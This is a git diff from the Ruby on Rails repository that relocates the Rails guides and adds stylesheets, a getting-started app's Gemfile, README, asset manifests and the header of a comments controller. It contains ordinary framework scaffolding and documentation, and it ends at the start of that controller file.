--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushXml.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushXml.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shCore.js b/guides/assets/javascripts/syntaxhighlighter/shCore.js
index b47b645472..b47b645472 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shCore.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shCore.js
diff --git a/guides/assets/stylesheets/fixes.css b/guides/assets/stylesheets/fixes.css
new file mode 100644
index 0000000000..bf86b29efa
--- /dev/null
+++ b/guides/assets/stylesheets/fixes.css
@@ -0,0 +1,16 @@
+/*
+  Fix a rendering issue affecting WebKits on Mac.
+  See https://github.com/lifo/docrails/issues#issue/16 for more information.
+*/
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+  line-height: 1.25em !important;
+}
diff --git a/guides/assets/stylesheets/kindle.css b/guides/assets/stylesheets/kindle.css
new file mode 100644
index 0000000000..b26cd1786a
--- /dev/null
+++ b/guides/assets/stylesheets/kindle.css
@@ -0,0 +1,11 @@
+p { text-indent: 0; }
+
+p, H1, H2, H3, H4, H5, H6, H7, H8, table { margin-top: 1em;}
+
+.pagebreak { page-break-before: always; }
+#toc H3 {
+  text-indent: 1em;
+}
+#toc .document {
+  text-indent: 2em;
+}
\ No newline at end of file
diff --git a/guides/assets/stylesheets/main.css b/guides/assets/stylesheets/main.css
new file mode 100644
index 0000000000..42b85fefa3
--- /dev/null
+++ b/guides/assets/stylesheets/main.css
@@ -0,0 +1,454 @@
+/* Guides.rubyonrails.org */
+/* Main.css */
+/* Created January 30, 2009 */
+/* Modified February 8, 2009
+--------------------------------------- */
+
+/* General
+--------------------------------------- */
+
+.left {float: left; margin-right: 1em;}
+.right {float: right; margin-left: 1em;}
+.small {font-size: smaller;}
+.large {font-size: larger;}
+.hide {display: none;}
+
+li ul, li ol { margin:0 1.5em; }
+ul, ol { margin: 0 1.5em 1.5em 1.5em; }
+
+ul { list-style-type: disc; }
+ol { list-style-type: decimal; }
+
+dl { margin: 0 0 1.5em 0; }
+dl dt { font-weight: bold; }
+dd { margin-left: 1.5em;}
+
+pre,code { margin: 1.5em 0; overflow: auto; color: #222;}
+pre,code,tt {
+    font-size: 1em;
+    font-family: "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace;
+    line-height: 1.5;
+}
+
+abbr, acronym { border-bottom: 1px dotted #666; }
+address { margin: 0 0 1.5em; font-style: italic; }
+del { color:#666; }
+
+blockquote { margin: 1.5em; color: #666; font-style: italic; }
+strong { font-weight: bold; }
+em, dfn { font-style: italic; }
+dfn { font-weight: bold; }
+sup, sub { line-height: 0; }
+p {margin: 0 0 1.5em;}
+
+label { font-weight: bold; }
+fieldset { padding:1.4em; margin: 0 0 1.5em 0; border: 1px solid #ccc; }
+legend { font-weight: bold; font-size:1.2em; }
+
+input.text, input.title,
+textarea, select {
+  margin:0.5em 0;
+  border:1px solid #bbb;
+}
+
+table {
+	margin: 0 0 1.5em;
+	border: 2px solid #CCC;
+	background: #FFF;
+	border-collapse: collapse;
+}
+
+table th, table td {
+	padding: 0.25em 1em;
+	border: 1px solid #CCC;
+	border-collapse: collapse;
+}
+
+table th {
+	border-bottom: 2px solid #CCC;
+	background: #EEE;
+	font-weight: bold;
+	padding: 0.5em 1em;
+}
+
+
+/* Structure and Layout
+--------------------------------------- */
+
+body {
+	text-align: center;
+	font-family: Helvetica, Arial, sans-serif;
+	font-size: 87.5%;
+	line-height: 1.5em;
+	background: #fff;
+	min-width: 69em;
+	color: #999;
+	}
+
+.wrapper {
+	text-align: left;
+	margin: 0 auto;
+	width: 69em;
+	}
+
+#topNav {
+	padding: 1em 0;
+	color: #565656;
+	background: #222;
+}
+
+#header {
+	background: #c52f24 url(../images/header_tile.gif) repeat-x;
+	color: #FFF;
+	padding: 1.5em 0;
+	position: relative;
+	z-index: 99;
+	}
+
+#feature {
+	background: #d5e9f6 url(../images/feature_tile.gif) repeat-x;
+	color: #333;
+	padding: 0.5em 0 1.5em;
+}
+
+#container {
+	color: #333;
+	padding: 0.5em 0 1.5em 0;
+	}
+
+#mainCol {
+	width: 45em;
+	margin-left: 2em;
+	}
+
+#subCol {
+	position: absolute;
+	z-index: 0;
+	top: 0;
+	right: 0;
+	background: #FFF;
+	padding: 1em 1.5em 1em 1.25em;
+	width: 17em;
+	font-size: 0.9285em;
+	line-height: 1.3846em;
+	}
+
+#extraCol {display: none;}
+
+#footer {
+	padding: 2em 0;
+	background: #222 url(../images/footer_tile.gif) repeat-x;
+	}
+#footer .wrapper {
+	padding-left: 2em;
+	width: 67em;
+}
+
+#header .wrapper, #topNav .wrapper, #feature .wrapper {padding-left: 1em; width: 68em;}
+#feature .wrapper {width: 45em; padding-right: 23em; position: relative; z-index: 0;}
+
+/* Links
+--------------------------------------- */
+
+a, a:link, a:visited {
+	color: #ee3f3f;
+	text-decoration: underline;
+	}
+
+#mainCol a, #subCol a, #feature a {color: #980905;}
+
+
+/* Navigation
+--------------------------------------- */
+
+.nav {margin: 0; padding: 0;}
+.nav li {display: inline; list-style: none;}
+
+#header .nav {
+	float: right;
+	margin-top: 1.5em;
+	font-size: 1.2857em;
+}
+
+#header .nav li {margin: 0 0 0 0.5em;}
+#header .nav a {color: #FFF; text-decoration: none;}
+#header .nav a:hover {text-decoration: underline;}
+
+#header .nav .index {
+	padding: 0.5em 1.5em;
+	border-radius: 1em;
+	-webkit-border-radius: 1em;
+	-moz-border-radius: 1em;
+	background: #980905;
+	position: relative;
+}
+
+#header .nav .index a {
+	background: #980905 url(../images/nav_arrow.gif) no-repeat right top;
+	padding-right: 1em;
+	position: relative;
+	z-index: 15;
+	padding-bottom: 0.125em;
+}
+#header .nav .index:hover a, #header .nav .index a:hover {background-position: right -81px;}
+
+#guides {
+	width: 27em;
+	display: block;
+	background: #980905;
+	border-radius: 1em;
+	-webkit-border-radius: 1em;
+	-moz-border-radius: 1em;
+	-webkit-box-shadow: 0.25em 0.25em 1em rgba(0,0,0,0.25);
+	-moz-box-shadow: rgba(0,0,0,0.25) 0.25em 0.25em 1em;
+	color: #f1938c;
+	padding: 1.5em 2em;
+	position: absolute;
+	z-index: 10;
+	top: -0.25em;
+	right: 0;
+	padding-top: 2em;
+}
+
+#guides dt, #guides dd {
+	font-weight: normal;
+	font-size: 0.722em;
+	margin: 0;
+	padding: 0;
+}
+#guides dt {padding:0; margin: 0.5em 0 0;}
+#guides a {color: #FFF; background: none !important;}
+#guides .L, #guides .R {float: left; width: 50%; margin: 0; padding: 0;}
+#guides .R {float: right;}
+#guides hr {
+	display: block;
+	border: none;
+	height: 1px;
+	color: #f1938c;
+	background: #f1938c;
+}
+
+/* Headings
+--------------------------------------- */
+
+h1 {
+	font-size: 2.5em;
+	line-height: 1em;
+	margin: 0.6em 0 .2em;
+	font-weight: bold;
+	}
+
+h2 {
+	font-size: 2.1428em;
+	line-height: 1em;
+	margin: 0.7em 0 .2333em;
+	font-weight: bold;
+	}
+
+h3 {
+	font-size: 1.7142em;
+	line-height: 1.286em;
+	margin: 0.875em 0 0.2916em;
+	font-weight: bold;
+	}
+
+h4 {
+	font-size: 1.2857em;
+	line-height: 1.2em;
+	margin: 1.6667em 0 .3887em;
+	font-weight: bold;
+	}
+
+h5 {
+	font-size: 1em;
+	line-height: 1.5em;
+	margin: 1em 0 .5em;
+	font-weight: bold;
+}
+
+h6 {
+	font-size: 1em;
+	line-height: 1.5em;
+	margin: 1em 0 .5em;
+	font-weight: normal;
+	}
+
+.section {
+	padding-bottom: 0.25em;
+	border-bottom: 1px solid #999;
+}
+
+/* Content
+--------------------------------------- */
+
+.pic {
+	margin: 0 2em 2em 0;
+}
+
+#topNav strong {color: #999; margin-right: 0.5em;}
+#topNav strong a {color: #FFF;}
+
+#header h1 {
+	float: left;
+	background: url(../images/rails_guides_logo.gif) no-repeat;
+	width: 297px;
+	text-indent: -9999em;
+	margin: 0;
+	padding: 0;
+}
+
+#header h1 a {
+	text-decoration: none;
+	display: block;
+	height: 77px;
+}
+
+#feature p {
+	font-size: 1.2857em;
+	margin-bottom: 0.75em;
+}
+
+#feature ul {margin-left: 0;}
+#feature ul li {
+	list-style: none;
+	background: url(../images/check_bullet.gif) no-repeat left 0.5em;
+	padding: 0.5em 1.75em 0.5em 1.75em;
+	font-size: 1.1428em;
+	font-weight: bold;
+}
+
+#mainCol dd, #subCol dd {
+	padding: 0.25em 0 1em;
+	border-bottom: 1px solid #CCC;
+	margin-bottom: 1em;
+	margin-left: 0;
+	/*padding-left: 28px;*/
+	padding-left: 0;
+}
+
+#mainCol dt, #subCol dt {
+	font-size: 1.2857em;
+	padding: 0.125em 0 0.25em 0;
+	margin-bottom: 0;
+	/*background: url(../images/book_icon.gif) no-repeat left top;
+	padding: 0.125em 0 0.25em 28px;*/
+}
+
+#mainCol dd.work-in-progress, #subCol dd.work-in-progress {
+	background: #fff9d8 url(../images/tab_yellow.gif) no-repeat left top;
+	border: none;
+	padding: 1.25em 1em 1.25em 48px;
+	margin-left: 0;
+	margin-top: 0.25em;
+}
+
+#mainCol dd.kindle, #subCol dd.kindle {
+	background: #d5e9f6 url(../images/tab_info.gif) no-repeat left top;
+	border: none;
+	padding: 1.25em 1em 1.25em 48px;
+	margin-left: 0;
+	margin-top: 0.25em;
+}
+
+#mainCol div.warning, #subCol dd.warning {
+	background: #f9d9d8 url(../images/tab_red.gif) no-repeat left top;
+	border: none;
+	padding: 1.25em 1.25em 1.25em 48px;
+	margin-left: 0;
+	margin-top: 0.25em;
+}
+
+#subCol .chapters {color: #980905;}
+#subCol .chapters a {font-weight: bold;}
+#subCol .chapters ul a {font-weight: normal;}
+#subCol .chapters li {margin-bottom: 0.75em;}
+#subCol h3.chapter {margin-top: 0.25em;}
+#subCol h3.chapter img {vertical-align: text-bottom;}
+#subCol .chapters ul {margin-left: 0; margin-top: 0.5em;}
+#subCol .chapters ul li {
+	list-style: none;
+	padding: 0 0 0 1em;
+	background: url(../images/bullet.gif) no-repeat left 0.45em;
+	margin-left: 0;
+	font-size: 1em;
+	font-weight: normal;
+}
+
+div.code_container {
+	background: #EEE url(../images/tab_grey.gif) no-repeat left top;
+	padding: 0.25em 1em 0.5em 48px;
+}
+
+.note {
+	background: #fff9d8 url(../images/tab_note.gif) no-repeat left top;
+	border: none;
+	padding: 1em 1em 0.25em 48px;
+	margin: 0.25em 0 1.5em 0;
+}
+
+.info {
+	background: #d5e9f6 url(../images/tab_info.gif) no-repeat left top;
+	border: none;
+	padding: 1em 1em 0.25em 48px;
+	margin: 0.25em 0 1.5em 0;
+}
+
+.note tt, .info tt {border:none; background: none; padding: 0;}
+
+#mainCol ul li {
+	list-style:none;
+	background: url(../images/grey_bullet.gif) no-repeat left 0.5em;
+	padding-left: 1em;
+	margin-left: 0;
+}
+
+#subCol .content {
+	font-size: 0.7857em;
+	line-height: 1.5em;
+}
+
+#subCol .content li {
+	font-weight: normal;
+	background: none;
+	padding: 0 0 1em;
+	font-size: 1.1667em;
+}
+
+/* Clearing
+--------------------------------------- */
+
+.clearfix:after {
+    content: ".";
+    display: block;
+    height: 0;
+    clear: both;
+    visibility: hidden;
+}
+
+.clearfix {display: inline-block;}
+* html .clearfix {height: 1%;}
+.clearfix {display: block;}
+.clear { clear:both; }
+
+/* Same bottom margin for special boxes than for regular paragraphs, this way
+intermediate whitespace looks uniform. */
+div.code_container, div.important, div.caution, div.warning, div.note, div.info {
+    margin-bottom: 1.5em;
+}
+
+/* Remove bottom margin of paragraphs in special boxes, otherwise they get a
+spurious blank area below with the box background. */
+div.important p, div.caution p, div.warning p, div.note p, div.info p {
+    margin-bottom: 1em;
+}
+
+/* Edge Badge
+--------------------------------------- */
+
+#edge-badge {
+  position: fixed;
+  right: 0px;
+  top: 0px;
+  z-index: 100;
+  border: none;
+}
diff --git a/railties/guides/assets/stylesheets/print.css b/guides/assets/stylesheets/print.css
index 628da105d4..628da105d4 100644
--- a/railties/guides/assets/stylesheets/print.css
+++ b/guides/assets/stylesheets/print.css
diff --git a/railties/guides/assets/stylesheets/reset.css b/guides/assets/stylesheets/reset.css
index cb14fbcc55..cb14fbcc55 100644
--- a/railties/guides/assets/stylesheets/reset.css
+++ b/guides/assets/stylesheets/reset.css
diff --git a/railties/guides/assets/stylesheets/style.css b/guides/assets/stylesheets/style.css
index 89b2ab885a..89b2ab885a 100644
--- a/railties/guides/assets/stylesheets/style.css
+++ b/guides/assets/stylesheets/style.css
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shCore.css b/guides/assets/stylesheets/syntaxhighlighter/shCore.css
index 34f6864a15..34f6864a15 100644
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shCore.css
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCore.css
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreDefault.css b/guides/assets/stylesheets/syntaxhighlighter/shCoreDefault.css
index 08f9e10e4e..08f9e10e4e 100644
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreDefault.css
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCoreDefault.css
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreDjango.css b/guides/assets/stylesheets/syntaxhighlighter/shCoreDjango.css
index 1db1f70cb0..1db1f70cb0 100644
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreDjango.css
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCoreDjango.css
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreEclipse.css b/guides/assets/stylesheets/syntaxhighlighter/shCoreEclipse.css
index a45de9fd8e..a45de9fd8e 100644
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreEclipse.css
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCoreEclipse.css
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreEmacs.css b/guides/assets/stylesheets/syntaxhighlighter/shCoreEmacs.css
index 706c77a0a8..706c77a0a8 100644
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreEmacs.css
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCoreEmacs.css
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreFadeToGrey.css b/guides/assets/stylesheets/syntaxhighlighter/shCoreFadeToGrey.css
index 6101eba51f..6101eba51f 100644
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreFadeToGrey.css
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCoreFadeToGrey.css
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreMDUltra.css b/guides/assets/stylesheets/syntaxhighlighter/shCoreMDUltra.css
index 2923ce7367..2923ce7367 100644
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreMDUltra.css
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCoreMDUltra.css
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreMidnight.css b/guides/assets/stylesheets/syntaxhighlighter/shCoreMidnight.css
index e3733eed56..e3733eed56 100644
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreMidnight.css
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCoreMidnight.css
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreRDark.css b/guides/assets/stylesheets/syntaxhighlighter/shCoreRDark.css
index d09368384d..d09368384d 100644
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreRDark.css
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCoreRDark.css
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeDefault.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeDefault.css
index 136541172d..136541172d 100644
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeDefault.css
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeDefault.css
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeDjango.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeDjango.css
index d8b4313433..d8b4313433 100644
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeDjango.css
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeDjango.css
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeEclipse.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeEclipse.css
index 77377d9533..77377d9533 100644
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeEclipse.css
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeEclipse.css
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeEmacs.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeEmacs.css
index dae5053fea..dae5053fea 100644
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeEmacs.css
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeEmacs.css
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeFadeToGrey.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeFadeToGrey.css
index 8fbd871fb5..8fbd871fb5 100644
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeFadeToGrey.css
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeFadeToGrey.css
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeMDUltra.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeMDUltra.css
index f4db39cd83..f4db39cd83 100755
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeMDUltra.css
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeMDUltra.css
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeMidnight.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeMidnight.css
index c49563cc9d..c49563cc9d 100644
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeMidnight.css
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeMidnight.css
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeRDark.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeRDark.css
index 6305a10e4e..6305a10e4e 100644
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeRDark.css
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeRDark.css
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css
index 6d2edb2eb8..6d2edb2eb8 100644
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css
diff --git a/guides/code/getting_started/Gemfile b/guides/code/getting_started/Gemfile
new file mode 100644
index 0000000000..670a8523b0
--- /dev/null
+++ b/guides/code/getting_started/Gemfile
@@ -0,0 +1,38 @@
+source 'https://rubygems.org'
+
+gem 'rails', '3.2.3'
+
+# Bundle edge Rails instead:
+# gem 'rails', :git => 'git://github.com/rails/rails.git'
+
+gem 'sqlite3'
+
+
+# Gems used only for assets and not required
+# in production environments by default.
+group :assets do
+  gem 'sass-rails',   '~> 3.2.3'
+  gem 'coffee-rails', '~> 3.2.1'
+
+  # See https://github.com/sstephenson/execjs#readme for more supported runtimes
+  # gem 'therubyracer', :platform => :ruby
+
+  gem 'uglifier', '>= 1.0.3'
+end
+
+gem 'jquery-rails'
+
+# To use ActiveModel has_secure_password
+# gem 'bcrypt-ruby', '~> 3.0.0'
+
+# To use Jbuilder templates for JSON
+# gem 'jbuilder'
+
+# Use unicorn as the app server
+# gem 'unicorn'
+
+# Deploy with Capistrano
+# gem 'capistrano'
+
+# To use debugger
+# gem 'debugger'
diff --git a/guides/code/getting_started/README.rdoc b/guides/code/getting_started/README.rdoc
new file mode 100644
index 0000000000..b5d7b6436b
--- /dev/null
+++ b/guides/code/getting_started/README.rdoc
@@ -0,0 +1,259 @@
+== Welcome to Rails
+
+Rails is a web-application framework that includes everything needed to create
+database-backed web applications according to the Model-View-Control pattern.
+
+This pattern splits the view (also called the presentation) into "dumb"
+templates that are primarily responsible for inserting pre-built data in between
+HTML tags. The model contains the "smart" domain objects (such as Account,
+Product, Person, Post) that holds all the business logic and knows how to
+persist themselves to a database. The controller handles the incoming requests
+(such as Save New Account, Update Product, Show Post) by manipulating the model
+and directing data to the view.
+
+In Rails, the model is handled by what's called an object-relational mapping
+layer entitled Active Record. This layer allows you to present the data from
+database rows as objects and embellish these data objects with business logic
+methods. You can read more about Active Record in
+link:files/vendor/rails/activerecord/README.html.
+
+The controller and view are handled by the Action Pack, which handles both
+layers by its two parts: Action View and Action Controller. These two layers
+are bundled in a single package due to their heavy interdependence. This is
+unlike the relationship between the Active Record and Action Pack that is much
+more separate. Each of these packages can be used independently outside of
+Rails. You can read more about Action Pack in
+link:files/vendor/rails/actionpack/README.html.
+
+
+== Getting Started
+
+1. At the command prompt, create a new Rails application:
+       <tt>rails new myapp</tt> (where <tt>myapp</tt> is the application name)
+
+2. Change directory to <tt>myapp</tt> and start the web server:
+       <tt>cd myapp; rails server</tt> (run with --help for options)
+
+3. Go to http://localhost:3000/ and you'll see:
+       "Welcome aboard: You're riding Ruby on Rails!"
+
+4. Follow the guidelines to start developing your application. You can find
+the following resources handy:
+
+* The Getting Started Guide: http://guides.rubyonrails.org/getting_started.html
+* Ruby on Rails Tutorial Book: http://www.railstutorial.org/
+
+
+== Debugging Rails
+
+Sometimes your application goes wrong. Fortunately there are a lot of tools that
+will help you debug it and get it back on the rails.
+
+First area to check is the application log files. Have "tail -f" commands
+running on the server.log and development.log. Rails will automatically display
+debugging and runtime information to these files. Debugging info will also be
+shown in the browser on requests from 127.0.0.1.
+
+You can also log your own messages directly into the log file from your code
+using the Ruby logger class from inside your controllers. Example:
+
+  class WeblogController < ActionController::Base
+    def destroy
+      @weblog = Weblog.find(params[:id])
+      @weblog.destroy
+      logger.info("#{Time.now} Destroyed Weblog ID ##{@weblog.id}!")
+    end
+  end
+
+The result will be a message in your log file along the lines of:
+
+  Mon Oct 08 14:22:29 +1000 2007 Destroyed Weblog ID #1!
+
+More information on how to use the logger is at http://www.ruby-doc.org/core/
+
+Also, Ruby documentation can be found at http://www.ruby-lang.org/. There are
+several books available online as well:
+
+* Programming Ruby: http://www.ruby-doc.org/docs/ProgrammingRuby/ (Pickaxe)
+* Learn to Program: http://pine.fm/LearnToProgram/ (a beginners guide)
+
+These two books will bring you up to speed on the Ruby language and also on
+programming in general.
+
+
+== Debugger
+
+Debugger support is available through the debugger command when you start your
+Mongrel or WEBrick server with --debugger. This means that you can break out of
+execution at any point in the code, investigate and change the model, and then,
+resume execution! You need to install the 'debugger' gem to run the server in debugging
+mode. Add gem 'debugger' to your Gemfile and run <tt>bundle</tt> to install it. Example:
+
+  class WeblogController < ActionController::Base
+    def index
+      @posts = Post.all
+      debugger
+    end
+  end
+
+So the controller will accept the action, run the first line, then present you
+with a IRB prompt in the server window. Here you can do things like:
+
+  >> @posts.inspect
+  => "[#<Post:0x14a6be8
+          @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>,
+       #<Post:0x14a6620
+          @attributes={"title"=>"Rails", "body"=>"Only ten..", "id"=>"2"}>]"
+  >> @posts.first.title = "hello from a debugger"
+  => "hello from a debugger"
+
+...and even better, you can examine how your runtime objects actually work:
+
+  >> f = @posts.first
+  => #<Post:0x13630c4 @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>
+  >> f.
+  Display all 152 possibilities? (y or n)
+
+Finally, when you're ready to resume execution, you can enter "cont".
+
+
+== Console
+
+The console is a Ruby shell, which allows you to interact with your
+application's domain model. Here you'll have all parts of the application
+configured, just like it is when the application is running. You can inspect
+domain models, change values, and save to the database. Starting the script
+without arguments will launch it in the development environment.
+
+To start the console, run <tt>rails console</tt> from the application
+directory.
+
+Options:
+
+* Passing the <tt>-s, --sandbox</tt> argument will rollback any modifications
+  made to the database.
+* Passing an environment name as an argument will load the corresponding
+  environment. Example: <tt>rails console production</tt>.
+
+To reload your controllers and models after launching the console run
+<tt>reload!</tt>
+
+More information about irb can be found at:
+link:http://www.rubycentral.org/pickaxe/irb.html
+
+
+== dbconsole
+
+You can go to the command line of your database directly through <tt>rails
+dbconsole</tt>. You would be connected to the database with the credentials
+defined in database.yml. Starting the script without arguments will connect you
+to the development database. Passing an argument will connect you to a different
+database, like <tt>rails dbconsole production</tt>. Currently works for MySQL,
+PostgreSQL and SQLite 3.
+
+== Description of Contents
+
+The default directory structure of a generated Ruby on Rails application:
+
+  |-- app
+  |   |-- assets
+  |       |-- images
+  |       |-- javascripts
+  |       `-- stylesheets
+  |   |-- controllers
+  |   |-- helpers
+  |   |-- mailers
+  |   |-- models
+  |   `-- views
+  |       `-- layouts
+  |-- config
+  |   |-- environments
+  |   |-- initializers
+  |   `-- locales
+  |-- db
+  |-- doc
+  |-- lib
+  |   `-- tasks
+  |-- log
+  |-- public
+  |-- script
+  |-- test
+  |   |-- fixtures
+  |   |-- functional
+  |   |-- integration
+  |   |-- performance
+  |   `-- unit
+  |-- tmp
+  |   |-- cache
+  |   |-- pids
+  |   |-- sessions
+  |   `-- sockets
+  `-- vendor
+      |-- assets
+          `-- stylesheets
+
+app
+  Holds all the code that's specific to this particular application.
+
+app/assets
+  Contains subdirectories for images, stylesheets, and JavaScript files.
+
+app/controllers
+  Holds controllers that should be named like weblogs_controller.rb for
+  automated URL mapping. All controllers should descend from
+  ApplicationController which itself descends from ActionController::Base.
+
+app/models
+  Holds models that should be named like post.rb. Models descend from
+  ActiveRecord::Base by default.
+
+app/views
+  Holds the template files for the view that should be named like
+  weblogs/index.html.erb for the WeblogsController#index action. All views use
+  eRuby syntax by default.
+
+app/views/layouts
+  Holds the template files for layouts to be used with views. This models the
+  common header/footer method of wrapping views. In your views, define a layout
+  using the <tt>layout :default</tt> and create a file named default.html.erb.
+  Inside default.html.erb, call <% yield %> to render the view using this
+  layout.
+
+app/helpers
+  Holds view helpers that should be named like weblogs_helper.rb. These are
+  generated for you automatically when using generators for controllers.
+  Helpers can be used to wrap functionality for your views into methods.
+
+config
+  Configuration files for the Rails environment, the routing map, the database,
+  and other dependencies.
+
+db
+  Contains the database schema in schema.rb. db/migrate contains all the
+  sequence of Migrations for your schema.
+
+doc
+  This directory is where your application documentation will be stored when
+  generated using <tt>rake doc:app</tt>
+
+lib
+  Application specific libraries. Basically, any kind of custom code that
+  doesn't belong under controllers, models, or helpers. This directory is in
+  the load path.
+
+public
+  The directory available for the web server. Also contains the dispatchers and the
+  default HTML files. This should be set as the DOCUMENT_ROOT of your web
+  server.
+
+script
+  Helper scripts for automation and generation.
+
+test
+  Unit and functional tests along with fixtures. When using the rails generate
+  command, template test files will be generated for you and placed in this
+  directory.
+
+vendor
+  External libraries that the application depends on. If the app has frozen rails,
+  those gems also go here, under vendor/rails/. This directory is in the load path.
diff --git a/railties/guides/code/getting_started/Rakefile b/guides/code/getting_started/Rakefile
index e1d1ec8615..e1d1ec8615 100644
--- a/railties/guides/code/getting_started/Rakefile
+++ b/guides/code/getting_started/Rakefile
diff --git a/railties/guides/code/getting_started/app/assets/images/rails.png b/guides/code/getting_started/app/assets/images/rails.png
index d5edc04e65..d5edc04e65 100644
--- a/railties/guides/code/getting_started/app/assets/images/rails.png
+++ b/guides/code/getting_started/app/assets/images/rails.png
diff --git a/guides/code/getting_started/app/assets/javascripts/application.js b/guides/code/getting_started/app/assets/javascripts/application.js
new file mode 100644
index 0000000000..9097d830e2
--- /dev/null
+++ b/guides/code/getting_started/app/assets/javascripts/application.js
@@ -0,0 +1,15 @@
+// This is a manifest file that'll be compiled into application.js, which will include all the files
+// listed below.
+//
+// Any JavaScript/Coffee file within this directory, lib/assets/javascripts, vendor/assets/javascripts,
+// or vendor/assets/javascripts of plugins, if any, can be referenced here using a relative path.
+//
+// It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the
+// the compiled file.
+//
+// WARNING: THE FIRST BLANK LINE MARKS THE END OF WHAT'S TO BE PROCESSED, ANY BLANK LINE SHOULD
+// GO AFTER THE REQUIRES BELOW.
+//
+//= require jquery
+//= require jquery_ujs
+//= require_tree .
diff --git a/guides/code/getting_started/app/assets/stylesheets/application.css b/guides/code/getting_started/app/assets/stylesheets/application.css
new file mode 100644
index 0000000000..3b5cc6648e
--- /dev/null
+++ b/guides/code/getting_started/app/assets/stylesheets/application.css
@@ -0,0 +1,13 @@
+/*
+ * This is a manifest file that'll be compiled into application.css, which will include all the files
+ * listed below.
+ *
+ * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets,
+ * or vendor/assets/stylesheets of plugins, if any, can be referenced here using a relative path.
+ *
+ * You're free to add application-wide styles to this file and they'll appear at the top of the
+ * compiled file, but it's generally better to create a new file per style scope.
+ *
+ *= require_self
+ *= require_tree .
+*/
diff --git a/railties/guides/code/getting_started/app/controllers/application_controller.rb b/guides/code/getting_started/app/controllers/application_controller.rb
index e8065d9505..e8065d9505 100644
--- a/railties/guides/code/getting_started/app/controllers/application_controller.rb
+++ b/guides/code/getting_started/app/controllers/application_controller.rb
diff --git a/guides/code/getting_started/app/controllers/comments_controller.rb b/guides/code/getting_started/app/controllers/comments_controller.rb
new file mode 100644
index 0000000000..cf3d1be42e
--- /dev/null
+++ b/guides/code/getting_started/app/controllers/comments_controller.rb
@@ -0,0 +1,17 @@
